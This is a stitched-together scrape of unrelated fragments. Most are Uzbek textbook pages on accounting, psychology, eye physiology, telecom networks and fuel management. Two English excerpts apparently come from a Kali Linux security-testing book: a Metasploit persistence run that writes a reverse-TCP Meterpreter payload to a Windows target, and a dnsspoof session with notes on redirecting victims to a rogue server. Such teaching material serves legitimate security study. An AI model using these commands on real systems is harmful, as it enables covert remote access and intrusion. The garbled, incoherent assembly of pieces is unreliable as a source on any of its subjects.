1751
Balans aktivi
bo‘yicha jami
X
5200
6100
Balans passivi
bo‘yicha jami
X
5200
6100
Balans passivining II
«Majburiyatlar» bo‘limida korxona majburiyatlari ularning muddatiga
ko‘ra:
uzoq muddatli majburiyatlar va
qisqa muddatli majburiyatlarga ajratilgan holda ko‘rsatiladi.
Buxgalteriya balansining ushbu tuzulmasi barcha tashkiliy-huquqiy shakldagi xo‘jalik
yurituvchi subektlar uchun umumiy bo‘lib, ularning xususiyatlariga
qarab balans moddalari farq
qilishi mumkin. Masalan, savdo korxonalari uchun «Tovarlar», qishloq xo‘jalik korxonalari uchun
«Tugallanmagan ishlab chiqarish», «O‘stirilayotgan va boquvdagi chorva mollari»
kabi moddalar
xosdir.
Shunday qilib, bayon qilingan talablarga muvofiq tuzilgan buxgalteriya balansi xo‘jalik
yurituvchi subektning ma'lum sanaga bo‘lgan moliyaviy ahvolini aks ettirishi lozim.
3.2. Xo‘jalik muomalalari ta’sirida balansda ro‘y beradigan
o‘zgarishlar va ularning tavsifi
Xo‘jalik faoliyati jarayonida sodir bo‘ladigan muomalalar ta’sirida korxona mablag‘larining
tarkibida va ularning tashkil topish manbalarida, ayrim hollarda ularning ikkalasida ham o‘zgarishlar
yuzaga keladi. Xo‘jalik mablag‘lari va ularning tashkil topish manbalaridagi ro‘y bergan o‘zgarishlar
balansda ham tegishli o‘zgarishlarga olib keladi. Mablag‘lar qiymati o‘zgarmagan
holda doiraviy
aylanish jarayonida ularning buyum shakli o‘zgaradi, mablag‘lar tashkil topish manbalarining ham
shakli o‘zgaradi, xo‘jalik mablag‘lari ko‘payadi yoki kamayadi. Lekin
balansning asosiy xususiyati-
xo‘jalik muomalalarini schotlarda ikki yoqlama aks ettirish ta’sirida
balans moddalari summasi
o‘zgarganda aktiv va passiv tengliginiig o‘zgarmasligi doimo saqlanadi Buni misolda tasdiqlashimiz
uchun qishloq xo‘jalik korxonasining yil boshiga tuzilgan balansni keltiramiz (2.2-jadval) va uning
xo‘jalik muomalalari ta’sirida o‘zgarishini quyidagi misollarda ko‘rib chiqamiz.
Asosiy savollar - "psixologiya"

56
tabiiy bo‘lib, uning uchun mehnat faoliyati o‘yin yoki o‘qish kabi maroqlidir.
Odam mehnat jarayonida o‘z-o‘zini boshqarish va nazorat qilish
qobiliyatiga ega.
Odatda odam o‘z bo‘yniga mas’uliyatlarni olishga intiladi va o‘z
iqtidorini namoyon qilishga ehtiyoj sezadi.
Odamni o‘z bo‘yniga mas’uliyat olishga undagan narsa -bu umumiy
faoliyatda ishtirok etishga moyillikdir.
Ko‘pchilikda ijodiy ishlash va tashabbuslar ko‘rsatishga ishtiyoq
mavjud, bu narsa boshqaruvga ham taalluqlidir.
SHulardan kelib chiqqan holda D. Mak-Gregor yangi “X” va “Y”
nazariyalarining tamoyillarini ilgari surdi.
| Chapter 6: Owning Metasploit

[
*
]
Meterpreter
session
1
opened
(
192.168.86.30:4444 -> 192.168.86.57:1045
)
at
2018-02-12 07:12:30 -0700
This has left us with a Meterpreter session. We’ll use that session to run our persis‐
tence module. Using this module, we’ll have the ability to
select the payload we want
to use, which will be the means we use to connect to the target. The default payload is
a reverse-TCP
Meterpreter payload, which is the one we have been mostly using
when we’ve used Meterpreter. This will require that a handler
is set up to receive the
connection. We’ll also get to select the persistence mechanism,
determining whether
to start up the payload when the system boots or when the user logs in. You can also
determine the location of where to write the payload.
The system-defined temporary
directory is used by default.
Example 6-23
shows loading up persistence on our
target.
Example 6-23. Running the persistence module
meterpreter > run persistence -A
[
!
]
Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[
!
]
Example: run post/windows/manage/persistence_exe
OPTION
=
value
[
...
]
[
*
]
Running
Persistence Script
[
*
]
Resource file
for
cleanup created at /root/.msf4/logs/persistence/
SYSTEM-C765F2_20180212.1402/BRANDEIS-C765F2_20180212.1402.rc
[
*
]
Creating
Payload
=
windows/meterpreter/reverse_tcp
LHOST
=
192.168.86.30
LPORT
=
4444
[
*
]
Persistent agent script is
99606
bytes long
[
+
]
Persistent Script written to C:
| Chapter 2: Network Security Testing Basics

Example 2-14. Using dnsspoof
root@kali:~# dnsspoof -i eth0 -f myhosts udp dst port 53
dnsspoof: listening on eth0
[
udp dst port 53
]
192.168.86.227.37972 > 192.168.86.1.53: 10986+ A? www.bogusserver.com
192.168.86.227.49273 > 192.168.86.1.53: 28879+ A? www.bogusserver.com
192.168.86.227.48253 > 192.168.86.1.53: 53068+ A? www.bogusserver.com
192.168.86.227.49218 > 192.168.86.1.53: 45265+ A? www.bogusserver.com
You’ll notice that at the end of the command line, I have included BPF to focus the
packets that are captured. Without this,
tcpdump
would
default to looking only at
UDP port 53, but not the IP address of the host it is being run on. I removed that part
and included my own BPF in order to run tests on my local system. You’ll see the
requests get flagged when they come in. This output is similar to what you might see
from
tcpdump
.
You may be wondering why you’d bother to take
the extra step of using
dnsspoof
if
you have to use Ettercap or
arpspoof
(another ARP spoofing utility, though this one
was written by Dug Song and included in
the same suite of tools as
dnsspoof
). What
you can do with
dnsspoof
that you can’t do with just ARP spoofing is directing a sys‐
tem to actually visit another IP address, thinking they are going to somewhere legiti‐
mate. You could create a rogue web server, for example,
making it look like the real
server but including some malicious code to gather data or infect the target. This is
not the only purpose for doing DNS spoofing, but is a popular one.
Summary
Typically, attacks against systems will happen over the network. Although not all
attacks
go after network protocols, there are enough that do that it’s worth spending
some time understanding the network elements and the protocols associated with the
different layers. Here are some key points to take away from this chapter:
• Security testing is about finding deficiencies in confidentiality,
integrity, and
availability.
• The network stack based on the OSI model is physical, data, network, transport,
session, presentation, and application.
• Stress testing can reveal impacts to at least availability.
• Encryption can make it difficult
to observe network connections, but weak
encryption can reveal issues with confidentiality.
• Spoofing attacks can provide a way to observe and capture network traffic from
remote sources.
Summary | 73
• Capturing packets using tools like tcpdump and Wireshark can provide insights
into what’s happening with applications.
• Kali provides tools that are useful for network security testing.
Ranglarni sezish - Yosh fiziologiyasi va gigienasi

|
Yosh fiziologiyasi va gigienasi
|
bet | 87/190 | Sana | 06.01.2024 | Hajmi | 4,48 Mb. | | #130993 |
Bog'liq Yosh fiziologiyasi va gigienasiRanglarni sezish. Ko’rinadigan narsalarning hammasi rangli bo’ladi. Narsalarning turli uzunlikdagi yorug’lik to’lqinlarini yutishiga yoki aks ettirishiga qarab, rangini sezamiz. Spektrda 8 xil rang bo’lib, ular orasida oraliq ranglar juda ko’p. Bizning ko’zimiz 200 ga yaqin oraliq ranglarni ajratadi. Spektrdagi barcha to’lqinlarning aks etishi oq rang sezgisini keltirib chiqaradi, narsa hamma ranglarni yutganda esa qora bo’lib ko’rinadi. Kolbachalar to’r pardaning rang sezuvchi hujayralari hisoblanadi. Tayoqchalar narsaning rangini sezmaydi. Shuning uchun ham kechasi hamma narsa bir xilda kul rang bo’lib ko’rinadi. Ba’zi odamlar ranglarni ajrata olmaydi. Bu kasallikni birinchi marta Dalton aniqlagani uchun uning nomi bilan daltonizm deb ham ataladi.
Ikkala ko’z bilan ko’rish. Ikkala ko’z bilan ko’rganda ko’z charchamaydi, chunki narsaning turli nuqtalari bir guruh retseptorlar yordamida ko’rinadi, shu vaqtda biokimyoviy reaksiya qaytadan asli holiga keladi. Narsalarni ikkala ko’z bilan ko’rganda, bitta ko’z bilan ko’rgandagiga qaraganda ko’rish maydoniga nisbatan keng bo’ladi. Ikkala ko’z bilan ko’rishda ko’z o’tkirligi oshadi, chunki narsaning tasviri har bir ko’zning to’r pardasiga tushadi. Ko’zning ko’rish o’tkirligini o’lchash uchun maxsus Golovin jadvalidan foydalaniladi.
Ko’rish analizatorlarining yoshga bog’liq xususiyatlari. Bolalarning ko’zi tuzilishiga ko’ra katta odamning ko’zidan farq qiladi. Ularning ko’z kosasi chuqurligi va ko’z soqqasi katta yoshli odamlarnikiga qaraganda kattaroq bo’ladi. Ko’z soqqasi bola hayotining birinchi yilida birmuncha tez o’sadi. Yangi tug’ilgan bolaning ko’zi qisqa vaqt ochilib, keyin yumilib oladi. Qovoqlari birinchi oydan boshlab uyg’un harakat qila boshlaydi. 2 oylikdan ko’z soqqasi turli narsalarga va yorug’likka nisbatan harakatlanadi. Ko’zning uyg’un harakati asosan mashq qilish tufayli 6 oylikdan yoki bir yoshdan boshlanadi. Ko’rish analizatorining avval periferik, so’ngra markaziy qismi rivojlanadi.
Yangi tug’ilgan bolada ko’rish nervining tolalari kam tabaqalashgan bo’ladi. Bu nervning miyelinlashuvi bola 1-1,5 yashar bo’lguncha davom etadi. Yangi tug’ilgan bola ko’zining nur sindrish qobiliyati katta kishilarnikidan farq qiladi. Ko’pincha bog’cha va maktab yoshidagi bolalarda ko’zning gavhari nihoyatda elastik bo’lganidan akkomodasiya xususiyati asta-sekin rivojlanib boradi. Yosh ortishi bilan gavharning elastikligi kamayib boradi.
Yaqindan va uzoqdan yaxshi ko’rmaslik har xil sabablarga bog’liq bo’ladi. Maktabgacha yoshdagi bolalarda uzoqdan ko’rish uchraydi. Odatda, maktab yoshidagi bolalarda yaqindan ko’rish uchraydi. Yaqindan ko’rish yotib o’qish yoki juda egilib o’qish tufayli kelib chiqadi, chunki doim yotib o’qiganda, egilganda ko’zga qon to’lishi ortadi, bosimi ko’tariladi, natijada ko’z soqqasi kattalashadi va fokus oralig’i o’zgaradi.
|
| |
Transport tarmog‘ini loyihalashtirish

|
Transport tarmog‘ini loyihalashtirish
|
bet | 83/118 | Sana | 17.05.2024 | Hajmi | 8,17 Mb. | | #240348 |
Bog'liq R. I. Isayev, D. X. Ibatova multimеdiali aloqa tarmoqlari toshkeTransport tarmog‘ini loyihalashtirish
Infokommunikatsiya tizimi evolyutsiyasining boshlang‘ich bosqichida kanallar kommutatsiyasi bo‘lgan qurilma asosiy o‘rinni egallaydi. Umumiy transport tarmog‘ining asosiy resurslari so‘zlashuv axborotini eltib berish uchun qo‘llaniladi. Paketlar kommutatsiyasi bo‘lgan qurilma umumiy transport tarmog‘i resurslarining kichikroq ulushidan foydalanadi. Kanallar kommutatsiyasi tarmoqlaridan paketlar kommutatsiyasi tarmoqlariga so‘zlashuv axborotlarini uzatish, kompressiyalash va kommutatsiyalash masalalarini hal etish uchun media shlyuzlar o‘rnatiladi.
Transport tarmog‘i resurslarining bir qismi ikkala kommutatsiyalash tarmoqlari (KK va PK) bilan birgalikda qo‘llanilishi kerak. Bu agar ikkala tarmoqda ham soatdagi katta yuklama mos tushmagan holatlarda, o‘ta yuklanishlarni bartaraf etadi.
Infokommunikatsiya tizimi evolyutsiyasining oxiridan bitta oldingi bosqichida multimedia li axborotni eltib berishni ta’minlovchi paketlar kommutatsiyasi bo‘lgan qurilma asosiy o‘rinni egallaydi. Umumiy transport tarmog‘ining asosiy resurslari paketlar kommutatsiyasi rejimida multimedia li axborotlarni transportlash uchun qo‘llaniladi. Kanallar kommutatsiyasi bo‘lgan qurilma endi umumiy transport tarmog‘i resurslarining kamroq ulushidan foydalanadi.
Transport tarmog‘ining o‘tkazish qobliyati katta bo‘lishi kerak, bumultimedia li trafikda video axborotning mavjudligi bilan izohlanadi. Transport tarmog‘i resurslarining bir qismi ikkala kommutatsiyalash tarmoqlari tomonidan birgalikda qo‘llanishda davom ettiriladi.
Telekommunikatsiya tarmoqlarining deyarli barcha operatorlari duch keladigan muammolar o‘rtasida, kirish tarmog‘ini keyingi rivojlanishi uchun ssenariyni tanlash murakkabligini ta’kidlash kerak. Bunday holat juda ko‘p omillarga bog‘liq, ammo infokommunikatsiya xizmatlari bozorida talabni bashorat qilishdagi murakkablikni yetakchi deb hisoblash mumkin. Shuning uchun telekommunikatsiya tarmog‘i operatori uchun bozordagi talabga bog‘liq holda eng kam xarajatlar bilan o‘zgarishi mumkin bo‘lgan, tizimli-tarmoqli yechimlar juda katta amaliy qiziqish uyg‘otadi. Bunday shartlarni ‘‘Protey-MAK’’ga o‘xshash apparat-dasturiy vositalar qanoatlantiradi. Ular operatorlarga texnologiyalarni tanlashga talab qo‘ymaydi va xizmatlarning yangi turlarini kiritish jarayonlarini to‘xtatib qolmaydi.
Tarmoqlarning o‘zaro ta’siri.
NGNning fizik arxitekturasi uchta sathni (platformani) o‘z ichiga olgan bo‘lib, ular orasida standart interfeyslar qo‘llaniladi, bu esa masshtablashtirishni, yetkazib beruvchilarga bog‘liq bo‘lmaslikni, investitsiyalarni saqlanishini va aloqa operatori uchun foydali bo‘lgan boshqa juda ko‘p xossalarning saqlab qolinishini ta’minlashga imkon beradi.
Keyingi avlod tarmog‘ining fizik arxitekturasi (8.5-rasm) o‘z ichiga quyidagilarni qamrab oladi:
10.5- rasm. NGN arxitekturasi (Recommendation ITU-T Y.1001)
|
| |
Nazorat savollari - K. J. Matkarimov b. J. Mahmudov a. A. Norqulov avtomobillarda ishlatiladigan ashyolar

190
chiqarish-texnika bo‘limi tarkibiga kiruvchi yonilg‘i-energetika
resurslaridan foydalanish guruhi tashkil etiladi. Bu bo‘lim (gu-
ruh) boshlig‘iga yonilg‘i-energetika resurslaridan foydalanish ma-
salalari bo‘yicha korxonadagi barcha haydovchilar, ta’mirlovchi
ishchilar va boshqa xodimlar bo‘ysunadi.
Yonilg‘i-energetika resurslaridan foydalanish bo‘limi o‘z faoli-
yatini ATKni neft mahsulotlari, gaz, qattiq yoqilg‘i va elektr en-
ergiyasi bilan ta’minlovchi tashkilotlar, ya’ni neft bazalari, avto-
mobillarga yonilg‘i quyish shoxobchalari, ko‘mir omborlari, gaz
to‘ldirish shohobchalari, elektr tarmog‘i tashkilotlari bilan hamkor-
likda tashkil etadi.
– bo‘lim (guruh)ning asosiy vazifalari quyidagilardan iborat:
– korxona talabiga binoan yonilg‘i-energetika resurslariga bo‘l-
gan ehtiyojni rejalashtirish, ularni qabul qilish, saqlash va tar qa tish;
–yonilg‘i-energetika resurslaridan oqilona foydalanishni tashkil
etish, ularning sifatini nazorat qilish;
– yonilg‘ienergetika resurslari sarflanishini hisobga olish va bu
bo‘yicha hisobot yuritishni tashkil etish;
– ishlatilgan moylarni to‘plash va saqlash, ularni tozalashga
topshirish yoki ulardan samarali foydalanishni (utilizatsiya qilish)
tashkil etish.
Bo‘lim (guruh) yuqorida keltirilgan vazifalardan kelib chiqib,
o‘zining funksional majburiyatlarini yonilg‘i-energetika resurslari-
dan foydalanish bo‘yicha Nizom asosida tashkil etadi.
8. 2. Avtotransport xo‘jaliklarida yonilg‘i, surkov
Ikki yoqlama yozuvning mohiyati va ahamiyati

modeli quyidagicha bo‘ladi:
ΣDO
dt
=ΣKO
kt, (2)
DO
dt
– sintetik schotlarning ma'lum muddat ichidagi debet oboroti;
KO
kt
– sintetik schotlarning ma'lum davr ichidagi kredit oboroti.
Ushbu model ma'lum davr ichida barcha sintetik schotlar debet oborotlarining summasi, shu
davr ichidagi kredit oborotlari summasi bilan teng deb o‘qiladi.
Endi sintetik schotlarning oxirgi qoldiqlarini (saldo) S – deb belgilab, barcha aktiv va passiv
sintetik schotlar bo‘yicha oxirgi qoldiq (saldo) summalari tengligi qonuniyatining matematik
modelini tuzamiz:
ΣS''
dt
=ΣS''
kt, (3)
Ushbu model barcha aktiv sintetik schotlarning ma'lum sanaga oxirgi debet qoldiqlarining
summasi, barcha passiv sintetik schotlarning shu sanaga bo‘lgan oxirgi kredit qoldiqlari summasiga
teng deb o‘qiladi.
Bayon qilinganlarga asoslanib, ikki yoqlama yozuv usulining ahamiyatini quyidagicha
tasvirlaymiz (2.3-rasm):
majburiy - Microsoft Word 03 Kishlok xujaligida buxalteriya xisobi va solikka tortish \

Buxgalteriya hisobining metodi oldingi boblarda ko‘rib chiqilgan balans, hujjatlashtirish va
inventarizatsiya, schetlar va ikki yoqlama yozuv usullaridan tashqari,
baholash va
kalkulyatsiya kabi
elementlarni ham o‘z ichiga oladi. Ular buxgalteriya hisobi ob’ektlarini qiymat o‘lchovida ifodalash
usullari bo‘lib, xo‘jalik yurituvchi sub’ektlar moliya-xo‘jalik faoliyatining pul o‘lchovidagi
ko‘rsatkichlariga ega bo‘lish uchun qo‘llaniladi. Bozor munosabatlarining rivojlanishi natijasida bu
usullarni qo‘llashning ahamiyati yanada oshib bormoqda.
O‘zbekiston Respublikasi «Buxgalteriya hisobi to‘g‘risidagi» qonunining 4-moddasiga
muvofiq barcha
asosiy va joriy aktivlar,
majburiyatlar,
xususiy kapital,
daromadlar va xarajatlar
hamda moliya-xo‘jalik faoliyatining boshqa tomonlari buxgalteriya hisobining ob’ektlari
hisoblanadi.
Ushbu hisob ob’ektlarini yagona o‘lchov –
pul o‘lchoviga keltirish
uchun ularni baholash
ya’ni pulda ifodalash zarur.
Baholash - Microsoft Word 03 Kishlok xujaligida buxalteriya xisobi va solikka tortish \

moliyalashtiriladigan sub’ektlarda ayrim o‘ziga xos hisob ob’ektlari mavjud. Bularga davlat
byudjetidan ajratiladigan mablag‘lar; byudjetdan ajratilgan mablag‘lar hisobidan qilingan sarflar
(tasdiqlangan smetalar bo‘yicha); pullik va hisob-kitob muomalalari misol bo‘ladi.
Xo‘jalik faoliyatining tartibga solinishi talab va taklif ta’siri
ostida kechadigan bozor
iqtisodiyoti sharoitida mulklar va majburiyatlar haqqoniyligi va birligining asosiy tamoyillari ularni
baholashning to‘g‘riligini belgilaydi.
Buxgalteriya hisobida baholanishi lozim bo‘lgan asosiy ob’ektlarni quyidagicha turkumlash
mumkin (11.1-rasm):
Asosiy vositalar
Hisob
ob’ektlari
Nomoddiy aktivlar
Materiallar
Tayyor mahsulotlar
Tovarlar